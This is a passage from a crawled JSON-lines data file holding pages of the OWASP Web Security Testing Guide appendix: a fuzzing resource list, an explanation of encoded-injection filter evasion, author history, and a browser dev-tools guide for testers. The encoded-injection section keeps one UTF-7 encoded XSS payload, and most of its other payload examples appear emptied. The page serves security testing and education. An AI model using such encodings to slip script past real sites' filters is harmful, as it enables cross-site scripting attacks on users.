sources for fuzzing and related testing activities.\n\n- [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)\n- [AwesomeXSS](https://github.com/s0md3v/AwesomeXSS)\n- [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings)\n- [Big List of Naughty Strings](https://github.com/minimaxir/big-list-of-naughty-strings)\n- [Bo0oM Fuzz List](https://github.com/Bo0oM/fuzz.txt)\n- [FuzzDB](https://github.com/fuzzdb-project/fuzzdb)\n- [bl4de Dictionaries](https://github.com/bl4de/dictionaries)\n- [Open Redirect Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)\n- [EdOverflow Bug Bounty Cheat Sheet](https://github.com/EdOverflow/bugbounty-cheatsheet)\n- [Daniel Miessler - SecLists](https://github.com/danielmiessler/SecLists)\n- [XssPayloads Twitter Feed](https://twitter.com/XssPayloads)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1452, "slov": 122, "odkazu": 192, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:44", "sha256": "8b05981738c656ba23f18045229eb3972b7bb0b485d9742c00800fd6e6557a01", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp", "https://portswigger.net/web-security/cross-site-scripting/cheat-sheet", "https://github.com/s0md3v/AwesomeXSS", "https://github.com/swisskyrepo/PayloadsAllTheThings", "https://github.com/minimaxir/big-list-of-naughty-strings", "https://github.com/Bo0oM/fuzz.txt", "https://github.com/fuzzdb-project/fuzzdb", "https://github.com/bl4de/dictionaries", "https://github.com/cujanovic/Open-Redirect-Payloads", "https://github.com/EdOverflow/bugbounty-cheatsheet", "https://github.com/danielmiessler/SecLists", "https://twitter.com/XssPayloads", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/D-Encoded_Injection", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/D-Encoded_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/D-Encoded_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Encoded Injection"}, {"uroven": 2, "text": "Background"}, {"uroven": 2, "text": "Input Encoding – Filter Evasion"}, {"uroven": 2, "text": "Output Encoding – Server & Browser Consensus"}, {"uroven": 3, "text": "Encoded Injections"}, {"uroven": 3, "text": "Basic Encoding"}, {"uroven": 3, "text": "Hex Encoding"}, {"uroven": 3, "text": "UTF-7 Encoding"}, {"uroven": 3, "text": "Multi-byte Encoding"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Encoded Injection\n\n## Background\n\nCharacter encoding is the process of mapping characters, numbers and other symbols to a standard format. Typically, this is done to create a message ready for transmission between sender and receiver. It is, in simple terms, the conversion of characters (belonging to different languages like English, Chinese, Greek or any other known language) into bytes. An example of a widely used character encoding scheme is the American Standard Code for Information Interchange (ASCII) that initially used 7-bit codes. More recent examples of encoding schemes would be the Unicode `UTF-8` and `UTF-16` computing industry standards.\n\nIn the space of application security and due to the plethora of encoding schemes available, character encoding has a popular misuse. It is being used for encoding malicious injection strings in a way that obfuscates them. This can lead to the bypass of input validation filters, or take advantage of particular ways in which browsers render encoded text.\n\n## Input Encoding – Filter Evasion\n\nWeb applications usually employ different types of input filtering mechanisms to limit the input that can be submitted by the user. If these input filters are not implemented sufficiently well, it is possible to slip a character or two through these filters. For instance, a `/` can be represented as `2F` (hex) in ASCII, while the same character (`/`) is encoded as `C0` `AF` in Unicode (2 byte sequence). Therefore, it is important for the input filtering control to be aware of the encoding scheme used. If the filter is found to be detecting only `UTF-8` encoded injections, a different encoding scheme may be employed to bypass this filter.\n\n## Output Encoding – Server & Browser Consensus\n\nWeb browsers need to be aware of the encoding scheme used to coherently display a web page. Ideally, this information should be provided to the browser in the HTTP header (`Content-Type`) field, as shown below:\n\n```\nContent-Type: text/html; charset=UTF-8\n```\n\nor through HTML META tag (`META HTTP-EQUIV`), as shown below:\n\n```\n \n```\n\nIt is through these character encoding declarations that the browser understands which set of characters to use when converting bytes to characters. Note that the content type mentioned in the HTTP header has precedence over the META tag declaration.\n\nCERT describes it here as follows:\n\nMany web pages leave the character encoding (`charset` parameter in HTTP) undefined. In earlier versions of HTML and HTTP, the character encoding was supposed to default to `ISO-8859-1` if it wasn’t defined. In fact, many browsers had a different default, so it was not possible to rely on the default being `ISO-8859-1`. HTML version 4 legitimizes this - if the character encoding isn’t specified, any character encoding can be used.\n\nIf the web server doesn’t specify which character encoding is in use, it can’t tell which characters are special. Web pages with unspecified character encoding work most of the time because most character sets assign the same characters to byte values below 128. But which of the values above 128 are special? Some 16-bit `character-encoding` schemes have additional multi-byte representations for special characters such as `<`. Some browsers recognize this alternative encoding and act on it. This is “correct” behavior, but it makes attacks using malicious scripts much harder to prevent. The server simply doesn’t know which byte sequences represent the special characters.\n\nTherefore in the event of not receiving the character encoding information from the server, the browser either attempts to guess the encoding scheme or reverts to a default scheme. In some cases, the user explicitly sets the default encoding in the browser to a different scheme. Any such mismatch in the encoding scheme used by the web page (server) and the browser may cause the browser to interpret the page in a manner that is unintended or unexpected.\n\n### Encoded Injections\n\nAll the scenarios given below form only a subset of the various ways obfuscation can be achieved to bypass input filters. Also, the success of encoded injections depends on the browser in use. For example, `US-ASCII` encoded injections were previously successful only in IE browser but not in Firefox. Therefore, it may be noted that encoded injections, to a large extent, are browser dependent.\n\n### Basic Encoding\n\nConsider a basic input validation filter that protects against injection of single quote character. In this case the following injection would easily bypass this filter:\n\n```\n \n```\n\n`String.fromCharCode` JavaScript function takes the given Unicode values and returns the corresponding string. This is one of the most basic forms of encoded injections. Another vector that can be used to bypass this filter is:\n\n```\n \n```\n\nOr by using the respective [HTML character codes](https://www.rapidtables.com/code/text/unicode-characters.html):\n\n```\n \n```\n\nThe above uses HTML Entities to construct the injection string. HTML Entities encoding is used to display characters that have a special meaning in HTML. For instance, `>` works as a closing bracket for a HTML tag. In order to actually display this character on the web page HTML character entities should be inserted in the page source. The injections mentioned above are one way of encoding. There are numerous other ways in which a string can be encoded (obfuscated) in order to bypass the above filter.\n\n### Hex Encoding\n\nHex, short for Hexadecimal, is a base 16 numbering system i.e it has 16 different values from `0` to `9` and `A` to `F` to represent various characters. Hex encoding is another form of obfuscation that is sometimes used to bypass input validation filters. For instance, hex encoded version of the string `` is\n\n```\n \n```\n\nA variation of the above string is given below. Can be used in case ‘%’ is being filtered:\n\n```\n \n```\n\nThere are other encoding schemes, such as Base64 and Octal, that may be used for obfuscation. Although, every encoding scheme may not work every time, a bit of trial and error coupled with intelligent manipulations would definitely reveal the loophole in a weakly built input validation filter.\n\n### UTF-7 Encoding\n\nUTF-7 encoding of\n\n```\n \n```\n\nis as below\n\n`+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`\n\nFor the above script to work, the browser has to interpret the web page as encoded in `UTF-7`.\n\n### Multi-byte Encoding\n\nVariable-width encoding is another type of character encoding scheme that uses codes of varying lengths to encode characters. Multi-Byte Encoding is a type of variable-width encoding that uses varying number of bytes to represent a character. Multi-byte encoding is primarily used to encode characters that belong to a large character set e.g. Chinese, Japanese and Korean.\n\nMultibyte encoding has been used in the past to bypass standard input validation functions and carry out cross site scripting and SQL injection attacks.\n\n## References\n\n- [Encoding (Semiotics)](https://en.wikipedia.org/wiki/Encoding_(semiotics))\n- [HTML Entities](https://www.w3schools.com/HTML/html_entities.asp)\n- [How to prevent input validation attacks](https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks)\n- [Unicode and Character Sets](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7884, "slov": 1198, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:45", "sha256": "b5966134d8f87a9a27f44279887fcb5ab698d098d9335c4c5c58862bec3dbb35", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.rapidtables.com/code/text/unicode-characters.html", "https://en.wikipedia.org/wiki/Encoding_(semiotics)", "https://www.w3schools.com/HTML/html_entities.asp", "https://searchsecurity.techtarget.com/answer/How-to-prevent-input-validation-attacks", "https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/E-History", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/E-History", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/E-History", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "History"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "v4 Authors"}, {"uroven": 2, "text": "v4 Reviewers"}, {"uroven": 2, "text": "v3 Authors"}, {"uroven": 2, "text": "v3 Reviewers"}, {"uroven": 2, "text": "v2 Authors"}, {"uroven": 2, "text": "v2 Reviewers"}], "markdown": "# WSTG - Stable\n\n# History\n\nThe Testing Guide v4 was released in 2014. The Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to Eoin Keary in 2005 and transformed into a wiki. From 2013 Andrew Muller co-lead the project with Matteo Meucci into 2018/2019. Point releases after v4 and the ramp toward v5 is being lead by Rick Mitchell and Elie Saad.\n\n- April, 2020: OWASP Testing Guide, Version 4.1\n- September, 2014: OWASP Testing Guide, Version 4.0\n- September, 2008: OWASP Testing Guide, Version 3.0\n- December, 2006: OWASP Testing Guide, Version 2.0\n- July, 2004: OWASP Web Application Penetration Checklist, Version 1.1\n- December, 2004: The OWASP Testing Guide, Version 1.0\n\n## Leaders\n\n- Matteo Meucci: OWASP Testing Guide Lead 2007-2020.\n- Andrew Muller: OWASP Testing Guide Lead 2013-2019.\n- Eoin Keary: OWASP Testing Guide Lead 2005-2007.\n- Daniel Cuthbert: OWASP Testing Guide Lead 2003-2005.\n\n## v4 Authors\n\n```\n- Matteo Meucci - Thomas Ryan - Mike Hryekewicz - Eduardo Castellano - Babu Arokiadas\n- Pavol Luptak - Tim Bertels - Simon Bennetts - Simone Onofri - Rob Barnes\n- Marco Morana - Cecil Su - Ray Schippers - Harword Sheen - Ben Walther\n- Giorgio Fedon - Aung KhAnt - Raul Siles - Amro AlOlaqi - Anant Shrivastava\n- Stefano Di Paola - Norbert Szetei - Jayanta Karmakar - Suhas Desai - Colin Watson\n- Gianrico Ingrosso - Michael Boman - Brad Causey - Ryan Dewhurst - Luca Carettoni\n- Giuseppe Bonfà - Wagner Elias - Vicente Aguilera - Zaki Akhmad - Eoin Keary\n- Andrew Muller - Kevin Horvat - Ismael Gonçalves - Davide Danelon - Jeff Williams\n- Robert Winkel - Tom Brennan - David Fern - Alexander Antukh - Juan Manuel Bahamonde\n- Roberto Suggi Liverani - Tomas Zatko - Tom Eston - Thomas Kalamaris - Thomas Skora\n- Tripurari Rai - Juan Galiana Lara - Kevin Horvath - Alexander Vavousis - Irene Abezgauz\n- Robert Smith - Sumit Siddharth - Rick Mitchell - Christian Heinrich - Hugo Costa\n```\n\n## v4 Reviewers\n\n```\n- Davide Danelon - Andrea Rosignoli - Irene Abezgauz\n- Lode Vanstechelman - Sebastien Gioria - Yiannis Pavlosoglou\n- Aditya Balapure\n```\n\n## v3 Authors\n\n```\n- Anurag Agarwwal - Giorgio Fedon - Gianrico Ingrosso - Mark Roxberry\n- Ferruh Mavituna - Antonio Parata - Andrew Van der Stock - Marco Mella\n- Daniele Bellucci - Adam Goodman - Roberto Suggi Liverani - Cecil Su\n- Kevin Horvath - Marco Morana - Harish Skanda Sureddy - Pavol Luptak\n- Matteo Meucci - Stefano Di Paola - Christian Heinrich - Marco Morana\n```\n\n## v3 Reviewers\n\n```\n- Marco Cova - Matteo Meucci - Rick Mitchell\n- Kevin Fuller - Nam Nguyen\n```\n\n## v2 Authors\n\n```\n- Vicente Aguilera - David Endler - Matteo Meucci - Anush Shetty\n- Mauro Bregolin - Giorgio Fedon - Marco Morana - Larry Shields\n- Tom Brennan - Javier Fernández-Sanguino - Laura Nunez - Dafydd Studdard\n- Gary Burns - Andrew van der Stock - Glyn Geoghegan - Gunter Ollmann\n- Luca Carettoni - Sebastien Deleersnyder - Antonio Parata - Ariel Waissbein\n- Dan Cornell - Madhura Halasgikar - Yiannis Pavlosoglou - Jeff Williams\n- Mark Curphey - Eoin Keary - Carlo Pelliccioni - Tushar Vartak\n- Daniel Cuthbert - David Litchfield - Harinath Pudipeddi - Tom Ryan\n- Stan Guzik - Andrea Lombardini - Alberto Revelli - Claudio Merloni\n- Stephen DeVries - Ralph M. Los - Stefano Di Paola - Mark Roxberry\n```\n\n## v2 Reviewers\n\n```\n- Vicente Aguilera - Mauro Bregolin - Daniel Cuthbert - Stefano Di Paola\n- Simona Forti - Eoin Keary - Katie McDowell - Matteo Meucci\n- Antonio Parata - Mark Roxberry - Marco Belotti - Marco Cova\n- Paul Davies - Matteo G.P. Flora - Darrell Groundy - James Kist\n- Marco Mella - Syed Mohamed A. - Alberto Revelli - Dave Wichers\n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3418, "slov": 484, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:46", "sha256": "f7b972a3ce1335300560d90de0964780812148a4e2fd447b2670d3142557b95f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/F-Leveraging_Dev_Tools", "titulek": "WSTG - Stable | OWASP Foundation", "h1": "WSTG - Stable", "popis": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/F-Leveraging_Dev_Tools", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Stable on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Stable | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/stable/6-Appendix/F-Leveraging_Dev_Tools", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Stable", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - Stable"}, {"uroven": 1, "text": "Leveraging Dev Tools"}, {"uroven": 2, "text": "Accessing Dev Tools"}, {"uroven": 2, "text": "Capabilities"}, {"uroven": 2, "text": "User-Agent Switching"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Edit/Resend Requests"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Local Storage Editing"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Disable CSS"}, {"uroven": 3, "text": "General"}, {"uroven": 2, "text": "Disable JavaScript"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "View HTTP Headers"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Screenshots"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Offline Mode"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "Encoding and Decoding"}, {"uroven": 3, "text": "General"}, {"uroven": 2, "text": "Responsive Design Mode"}, {"uroven": 3, "text": "Google Chrome"}, {"uroven": 3, "text": "Mozilla Firefox"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Stable\n\n# Leveraging Dev Tools\n\nThis appendix outlines various details for use of in browser Developer Tool functionality to aid in security testing activities.\n\nObviously in browser functionality is not a substitute for: DAST (Dynamic Application Security Testing) tools, SAST (Static Application Security Testing) tools, or a tester’s experience, however, it can be leveraged for some testing activities and report production related tasks.\n\n## Accessing Dev Tools\n\nOpening Dev Tools can be accomplished in a number of ways.\n\n1. Via the keyboard shortcut `F12` .\n2. Via the keyboard shortcut `ctrl` + `shift` + `i` on Windows.\n3. Via the keyboard short cut `cmd` + `option` + `i` on Mac.\n4. Via the web page right-click context menu and then selecting `Inspect` in Google Chrome.\n5. Via the web page right-click context menu and then selecting `Inspect Element` in Mozilla Firefox.\n6. Via the triple dot ‘kabob’ menu in Google Chrome then selecting `More Tools` and then `Developer Tools` .\n7. Via the triple line ‘hamburger’ (or ‘pancake’) menu in Mozilla Firefox then selecting `Web Developer` and then `Toggle Tools` .\n8. Via the gear icon settings menu in Edge/IE then selecting `Developer Tools` .\n\n> NOTE: The majority of the instructions below assume that Dev Tools is already open or active.\n\n## Capabilities\n\n| Functionality | Chrome* | Firefox | Edge/IE | Safari |\n| --- | --- | --- | --- | --- |\n| User-Agent Switching | Y | Y | Y | Y |\n| Edit/Resend Requests | N | Y | N | N |\n| Cookie Editing | Y | Y | Y | N |\n| Local Storage Editing | Y | Y | Y | N |\n| Disable CSS | Y | Y | Y | Y |\n| Disable JavaScript | Y | Y | N | Y |\n| View HTTP Headers | Y | Y | Y | Y |\n| Screenshots | Y | Y | Y | N |\n| Offline Mode | Y | Y | N | N |\n| Encoding and Decoding | Y | Y | Y | Y |\n| Responsive Design Mode | Y | Y | Y | Y |\n\n`*` Anything that applies to Google Chrome should be applicable to all Chromium based applications. (Which includes Microsoft rebadging Edge around 2019/2020.)\n\n## User-Agent Switching\n\n- [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n\n### Google Chrome\n\n1. Click on triple dot ‘kabob’ menu on the right side of the Developer Tools pane, select `More tools` then select `Network conditions` .\n2. Un-check the “Select automatically” checkbox.\n3. Select the user agent from dropdown menu or enter a custom user agent\n\n*Figure 6.F-1: Google Chrome Dev Tools User-Agent Switching Functionality*\n\n### Mozilla Firefox\n\n1. Navigate to Firefox’s `about:config` page and click `I accept the risk!` .\n2. Enter `general.useragent.override` into the search field.\n3. Look for `general.useragent.override` , if you can’t see this preference, look for one that show a set of radio buttons `Boolean, Number, String` select `String` then click the plus sign `Add` button on the `about:config` page.\n4. Set the value of `general.useragent.override` to whatever [User-Agent](https://developers.whatismybrowser.com/useragents/explore/) you might need.\n\n*Figure 6.F-2: Mozilla Firefox User-Agent Switching Functionality*\n\nLater click on the garbage can `Delete` button to the right of the `general.useragent.override` preference to remove the override and switch back to the default user agent.\n\n## Edit/Resend Requests\n\n- [Authentication Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [Authorization Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [Session Management Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n- [Input Validation Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)\n- [Business Logic Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)\n\n### Mozilla Firefox\n\n1. Select the `Network` tab.\n2. Perform any action in the web application.\n3. Right-click on the HTTP request from the list and select `Edit and Resend` .\n4. Make desired modifications and click on the `Send` button.\n5. Right-click on the modified request and select `Open in New Tab` .\n\n- [Authentication Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n- [Authorization Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [Session Management Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n- [Testing for Cookie Attributes](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n### Google Chrome\n\n1. Click the `Application` tab.\n2. Expand `Cookies` under the `Storage` heading.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n\n> Note: Cookies can be deleted once selected by pressing the `delete` key, or from the right-click context menu.\n\n### Mozilla Firefox\n\n1. Click the `Storage` tab.\n2. Expand the `Cookies` section.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n\n> Note: Cookies can be deleted once selected by pressing the `delete` key, or with various options from the right-click context menu.\n\n*Figure 6.F-3: Mozilla Firefox Cookie Editing Functionality*\n\n## Local Storage Editing\n\n- [Testing Browser Storage](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage)\n\n### Google Chrome\n\n1. Click the `Application` tab.\n2. Expand `Local Storage` under the `Storage` heading.\n3. Select the relevant domain name.\n4. Double click in the `Value` column to edit any cookie value.\n5. Double click in the applicable Cell to edit the `Key` or `Value` .\n\n> Note: Editing `Session Storage` or `Index DB` follows essentially the same steps.\n> \n> Note: Items can be added or deleted via the right-click context menu.\n\n### Mozilla Firefox\n\n1. Click the `Storage` tab.\n2. Expand the `Local Storage` section.\n3. Select the relevant domain name.\n4. Double click in the applicable Cell to edit the `Key` or `Value` .\n\n> Note: Editing `Session Storage` or `Index DB` follows essentially the same steps.\n> \n> Note: Items can be added or deleted via the right-click context menu.\n\n## Disable CSS\n\n- [Testing for Client-side Resource Manipulation](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/06-Testing_for_Client-side_Resource_Manipulation)\n\n### General\n\nAll major browsers support manipulating CSS leveraging the Dev Tools Console and JavaScript functionality:\n\n- To remove all external style-sheets: `$('style,link[rel=\"stylesheet\"]').remove();`\n- To remove all internal style-sheets: `$('style').remove();`\n- To remove all in-line styles: `Array.prototype.forEach.call(document.querySelectorAll('*'),function(el){el.removeAttribute('style');});`\n- To remove everything from head tag: `$('head').remove();`\n\n## Disable JavaScript\n\n### Google Chrome\n\n1. Click on triple dot ‘kabob’ menu on the right side of the web developer toolbar and click on `Settings` .\n2. On the `Preferences` tab, under the `Debugger` section, check the `Disable JavaScript` checkbox.\n\n### Mozilla Firefox\n\n1. On the dev tools `Debugger` tab, click on the settings gear button in the upper right corner of the developer toolbar.\n2. Select `Disable JavaScript` from the dropdown (this is an enable/disable menu item, when JavaScript is disabled the meny item has a check mark).\n\n## View HTTP Headers\n\n- [Information Gathering](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n### Google Chrome\n\n1. On the `Networking` tab in Dev Tools select any URL or request.\n2. In the lower right hand pane select the `Headers` tab.\n\n*Figure 6.F-4: Google Chrome Headers View*\n\n### Mozilla Firefox\n\n1. On the `Networking` tab in Dev Tools select any URL or request.\n2. In the lower right hand pane select the `Headers` tab.\n\n*Figure 6.F-5: Mozilla Firefox Headers View*\n\n## Screenshots\n\n- [Reporting](/www-project-web-security-testing-guide/stable/5-Reporting/README)\n\n### Google Chrome\n\n1. Press on the `Toggle Device Toolbar` button or press `ctrl` + `shift` + `m` .\n2. Click the triple dot ‘kabob’ menu in the Device Toolbar.\n3. Select `Capture screenshot` or `Capture full size screenshot` .\n\n### Mozilla Firefox\n\n1. Press the triple dot `ellipsis` button in the address bar.\n2. Select `Take a Screenshot` .\n3. Select either the `Save full page` or `Save visible` option.\n\n## Offline Mode\n\n### Google Chrome\n\n1. Navigate to `Network` tab.\n2. In the `Throttle` dropdown select `Offline` .\n\n*Figure 6.F-6: Google Chrome Offline Option*\n\n### Mozilla Firefox\n\n1. From the triple line ‘hamburger’ (or ‘pancake’) menu select `Web Developer` and then `Work Offline` .\n\n*Figure 6.F-7: Mozilla Firefox Offline Option*\n\n## Encoding and Decoding\n\n- Many (perhaps even most) types of [Web Application Security Testing](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/README) can benefit from various types of encoding.\n\n### General\n\nAll major browsers support encoding and decoding strings in various ways leveraging the Dev Tools Console and JavaScript functionality:\n\n- Base64 encode: `btoa(\"string-to-encode\")`\n- Base64 decode: `atob(\"string-to-decode\")`\n- URL encode: `encodeURIComponent(\"string-to-encode\")`\n- URL decode: `decodeURIComponent(\"string-to-decode\")`\n- HTML encode: `escape(\"string-to-encode\")`\n- HTML decode: `unescape(\"string-to-decode\")`\n\n## Responsive Design Mode\n\n- [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n- [Testing for Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)\n- [Testing for Clickjacking](/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)\n\n### Google Chrome\n\n1. Click the `Toggle device toolbar` button or press `ctrl` + `shift` + `m` .\n\n*Figure 6.F-8: Google Chrome Responsive Design Mode*\n\n### Mozilla Firefox\n\n1. Click the `Responsive Design Mode` button or press `ctrl` + `shift` + `m` .\n\n*Figure 6.F-9: Mozilla Firefox Responsive Design Mode*\n\n## References\n\n- [Web App Security Testing with Browsers](https://getmantra.com/web-app-security-testing-with-browsers/)\n- [Black Hills Information Security - Webcast: Free Tools! How to Use Developer Tools and JavaScript in Webapp Pentests](https://www.blackhillsinfosec.com/webcast-free-tools-how-to-use-developer-tools-and-javascript-in-webapp-pentests/)\n- [Greg Malcolm - Chrome Developer Tools: Raiding the Armory](https://github.com/gregmalcolm/wacky-wandas-wicked-weapons-frontend/blob/fix-it/README.md)\n- [List of UserAgent Strings](http://user-agent-string.info/list-of-ua)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11038, "slov": 1479, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:47", "sha256": "a97d0cbbaa1edb29f1c532b8c7d81501a3b27fa62df3b4561e0903b96007d33b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developers.whatismybrowser.com/useragents/explore/", "https://getmantra.com/web-app-security-testing-with-browsers/", "https://www.blackhillsinfosec.com/webcast-free-tools-how-to-use-developer-tools-and-javascript-in-webapp-pentests/", 